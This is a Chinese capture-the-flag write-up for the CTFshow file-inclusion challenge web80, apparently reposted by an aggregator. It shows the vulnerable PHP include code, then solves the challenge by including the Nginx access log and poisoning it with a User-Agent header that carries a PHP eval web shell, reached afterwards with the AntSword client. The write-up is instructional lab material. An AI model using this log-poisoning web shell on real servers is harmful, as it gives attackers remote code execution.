CTFshow 文件包含 web80
生活随笔
收集整理的這篇文章主要介紹了
CTFshow 文件包含 web80
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:26:29 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file); }else{highlight_file(__FILE__); }思路
php和data偽協議都用不了了, 可以包含日志文件
題解
通過Wappalyzer得知中間件是Nginx
直接訪問 ?file=/var/log/nginx/access.log
抓下包
發現user-agent能寫入shell
User-Agent: <?php echo 123;phpinfo();eval($_POST[0]);?>
直接連接蟻劍拿到flag
總結
水題
總結
以上是生活随笔為你收集整理的CTFshow 文件包含 web80的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow 文件包含 web79
- 下一篇: CTFshow 文件包含 web81